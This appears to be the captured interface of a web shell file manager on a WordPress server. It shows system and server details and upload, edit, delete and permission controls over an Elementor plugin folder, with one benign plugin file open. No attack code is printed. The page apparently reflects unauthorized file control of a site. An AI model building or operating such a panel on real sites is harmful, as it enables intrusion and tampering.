[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor
/
modules
/
global-classes
/
usage
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 applied-global-classes-usage.php
3,011 B
SET
[ EDIT ]
|
[ DEL ]
📄 css-class-usage.php
2,901 B
SET
[ EDIT ]
|
[ DEL ]
📄 document-usage.php
2,428 B
SET
[ EDIT ]
|
[ DEL ]
📄 global-classes-usage.php
1,151 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: global-classes-usage.php
<?php namespace Elementor\Modules\GlobalClasses\Usage; use Elementor\Core\Utils\Collection; use Elementor\Modules\GlobalClasses\Usage\Applied_Global_Classes_Usage; use Elementor\Modules\GlobalClasses\Global_Classes_Repository; class Global_Classes_Usage { const MIN_CLASSES_COUNT = 1; public function register_hooks() { add_filter( 'elementor/tracker/send_tracking_data_params', fn( $params ) => $this->add_tracking_data( $params ) ); } private function add_tracking_data( $params ) { $params['usages']['global_classes']['total_count'] = Global_Classes_Repository::make()->all()->get_items()->count(); if ( 0 === $params['usages']['global_classes']['total_count'] ) { return $params; } $applied_global_classes_usage = ( new Applied_Global_Classes_Usage() )->get(); $applied_global_classes_usage = Collection::make( $applied_global_classes_usage ) ->filter( fn( $count ) => $count <= self::MIN_CLASSES_COUNT ) ->keys() ->count(); if ( ! empty( $applied_global_classes_usage ) ) { $params['usages']['global_classes']['low_usage_global_classes_count'] = $applied_global_classes_usage; } return $params; } }